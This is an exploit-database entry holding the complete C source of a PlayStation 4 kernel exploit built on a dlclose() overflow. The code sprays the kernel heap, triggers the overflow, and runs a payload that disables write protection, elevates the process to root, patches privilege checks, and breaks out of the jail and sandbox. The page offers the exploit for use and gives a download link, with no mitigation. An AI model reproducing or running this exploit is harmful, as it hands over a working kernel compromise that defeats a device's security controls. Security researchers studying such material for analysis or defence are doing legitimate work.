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Suggest Exploit
vendor:
PlayStation 4
by:
kr105rlz
7,8
CVSS
HIGH
Kernel Exploit
119
CWE
Product Name: PlayStation 4
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2018

PS4 Kernel Exploit

This exploit is based on a dlclose() vulnerability in the PS4 kernel. It allows for arbitrary code execution in the kernel, which can be used to gain root access. The exploit is written in C and uses assembly code to enable UART output, disable write protection, and escalate the process to root. It also resolves kernel functions and allocates RWX memory to execute the shellcode.

Mitigation:

N/A
Source

Exploit-DB raw data:

/*
	Code written based on info available here http://cturt.github.io/dlclose-overflow.html

	See attached LICENCE file
	Thanks to CTurt and qwertyoruiop

	- @kr105rlz

Download: http://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44206.zip
*/

#include "ps4.h"

#define DEBUG_SOCKET
#include "defines.h"

static int sock;
static void *dump;

void payload(struct knote *kn) {
	struct thread *td;
	struct ucred *cred;

	// Get td pointer
	asm volatile("mov %0, %%gs:0" : "=r"(td));

	// Enable UART output
	uint16_t *securityflags = (uint16_t*)0xFFFFFFFF833242F6;
	*securityflags = *securityflags & ~(1 << 15); // bootparam_disable_console_output = 0

	// Print test message to the UART line
	printfkernel("\n\n\n\n\n\n\n\n\nHello from kernel :-)\n\n\n\n\n\n\n\n\n");

	// Disable write protection
	uint64_t cr0 = readCr0();
	writeCr0(cr0 & ~X86_CR0_WP);
	
	// sysctl_machdep_rcmgr_debug_menu and sysctl_machdep_rcmgr_store_moe
	*(uint16_t *)0xFFFFFFFF82607C46 = 0x9090;
	*(uint16_t *)0xFFFFFFFF82607826 = 0x9090;
	
	*(char *)0xFFFFFFFF8332431A = 1;
	*(char *)0xFFFFFFFF83324338 = 1;
	
	// Restore write protection
	writeCr0(cr0);
	
	// Resolve creds
	cred = td->td_proc->p_ucred;

	// Escalate process to root
	cred->cr_uid = 0;
	cred->cr_ruid = 0;
	cred->cr_rgid = 0;
	cred->cr_groups[0] = 0;

	void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
	
	// sceSblACMgrIsSystemUcred
	uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
	*sonyCred = 0xffffffffffffffff;
	
	// sceSblACMgrGetDeviceAccessType
	uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
	*sceProcType = 0x3801000000000013; // Max access
	
	// sceSblACMgrHasSceProcessCapability
	uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
	*sceProcCap = 0xffffffffffffffff; // Sce Process
	
	((uint64_t *)0xFFFFFFFF832CC2E8)[0] = 0x123456; //priv_check_cred bypass with suser_enabled=true
	((uint64_t *)0xFFFFFFFF8323DA18)[0] = 0; // bypass priv_check

	// Jailbreak ;)
	cred->cr_prison = (void *)0xFFFFFFFF83237250; //&prison0

	// Break out of the sandbox
	void *td_fdp = *(void **)(((char *)td->td_proc) + 72);
	uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
	uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
	uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
	*td_fdp_fd_rdir = *rootvnode;
	*td_fdp_fd_jdir = *rootvnode;
}

// Perform kernel allocation aligned to 0x800 bytes
int kernelAllocation(size_t size, int fd) {
	SceKernelEqueue queue = 0;
	sceKernelCreateEqueue(&queue, "kexec");

	sceKernelAddReadEvent(queue, fd, 0, NULL);

	return queue;
}

void kernelFree(int allocation) {
	close(allocation);
}

void *exploitThread(void *none) {
	printfsocket("[+] Entered exploitThread\n");

	uint64_t bufferSize = 0x8000;
	uint64_t overflowSize = 0x8000;
	uint64_t copySize = bufferSize + overflowSize;
	
	// Round up to nearest multiple of PAGE_SIZE
	uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
	
	uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	munmap(mapping + mappingSize, PAGE_SIZE);
	
	uint8_t *buffer = mapping + mappingSize - copySize;
	
	int64_t count = (0x100000000 + bufferSize) / 4;

	// Create structures
	struct knote kn;
	struct filterops fo;
	struct knote **overflow = (struct knote **)(buffer + bufferSize);
	overflow[2] = &kn;
	kn.kn_fop = &fo;

	// Setup trampoline to gracefully return to the calling thread
	void *trampw = NULL;
	void *trampe = NULL;
	int executableHandle;
	int writableHandle;
	uint8_t trampolinecode[] = {
		0x58, // pop rax
		0x48, 0xB8, 0x19, 0x39, 0x40, 0x82, 0xFF, 0xFF, 0xFF, 0xFF, // movabs rax, 0xffffffff82403919
		0x50, // push rax
		0x48, 0xB8, 0xBE, 0xBA, 0xAD, 0xDE, 0xDE, 0xC0, 0xAD, 0xDE, // movabs rax, 0xdeadc0dedeadbabe
		0xFF, 0xE0 // jmp rax
	};

	// Get Jit memory
	sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle);
	sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle);

	// Map r+w & r+e
	trampe = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0);
	trampw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0);

	// Copy trampoline to allocated address
	memcpy(trampw, trampolinecode, sizeof(trampolinecode));	
	*(void **)(trampw + 14) = (void *)payload;

	// Call trampoline when overflown
	fo.f_detach = trampe;

	// Start the exploit
	int sockets[0x2000];
	int allocation[50], m = 0, m2 = 0;
	int fd = (bufferSize - 0x800) / 8;

	printfsocket("[+] Creating %d sockets\n", fd);

	// Create sockets
	for(int i = 0; i < 0x2000; i++) {
		sockets[i] = sceNetSocket("sss", AF_INET, SOCK_STREAM, 0);
		if(sockets[i] >= fd) {
			sockets[i + 1] = -1;
			break;
		}
	}

	// Spray the heap
	for(int i = 0; i < 50; i++) {
		allocation[i] = kernelAllocation(bufferSize, fd);
		printfsocket("[+] allocation = %llp\n", allocation[i]);
	}

	// Create hole for the system call's allocation
	m = kernelAllocation(bufferSize, fd);
	m2 = kernelAllocation(bufferSize, fd);
	kernelFree(m);

	// Perform the overflow
	int result = syscall(597, 1, mapping, &count);
	printfsocket("[+] Result: %d\n", result);

	// Execute the payload
	printfsocket("[+] Freeing m2\n");
	kernelFree(m2);
	
	// Close sockets
	for(int i = 0; i < 0x2000; i++) {
		if(sockets[i] == -1)
			break;
		sceNetSocketClose(sockets[i]);
	}
	
	// Free allocations
	for(int i = 0; i < 50; i++) {
		kernelFree(allocation[i]);
	}
	
	// Free the mapping
	munmap(mapping, mappingSize);
	
	return NULL;
}

int _main(void) {
	ScePthread thread;

	initKernel();	
	initLibc();
	initNetwork();
	initJIT();
	initPthread();

#ifdef DEBUG_SOCKET
	struct sockaddr_in server;

	server.sin_len = sizeof(server);
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = IP(192, 168, 0, 4);
	server.sin_port = sceNetHtons(9023);
	memset(server.sin_zero, 0, sizeof(server.sin_zero));
	sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
	sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
	
	int flag = 1;
	sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
	
	dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
#endif

	printfsocket("[+] Starting...\n");
	printfsocket("[+] UID = %d\n", getuid());
	printfsocket("[+] GID = %d\n", getgid());

	// Create exploit thread
	if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitThread") != 0) {
		printfsocket("[-] pthread_create error\n");
		return 0;
	}

	// Wait for thread to exit
	scePthreadJoin(thread, NULL);

	// At this point we should have root and jailbreak
	if(getuid() != 0) {
		printfsocket("[-] Kernel patch failed!\n");
		sceNetSocketClose(sock);
		return 1;
	}

	printfsocket("[+] Kernel patch success!\n");

	// Enable debug menu
	int (*sysctlbyname)(const char *name, void *oldp, size_t *oldlenp, const void *newp, size_t newlen) = NULL;
	RESOLVE(libKernelHandle, sysctlbyname);
	
	uint32_t enable;
	size_t size;
	
	enable = 1;
	size = sizeof(enable);
	
	sysctlbyname("machdep.rcmgr_utoken_store_mode", NULL, NULL, &enable, size);
	sysctlbyname("machdep.rcmgr_debug_menu", NULL, NULL, &enable, size);
	
#ifdef DEBUG_SOCKET
	munmap(dump, PAGE_SIZE);	
#endif
	
	printfsocket("[+] bye\n");
	sceNetSocketClose(sock);
	
	return 0;
}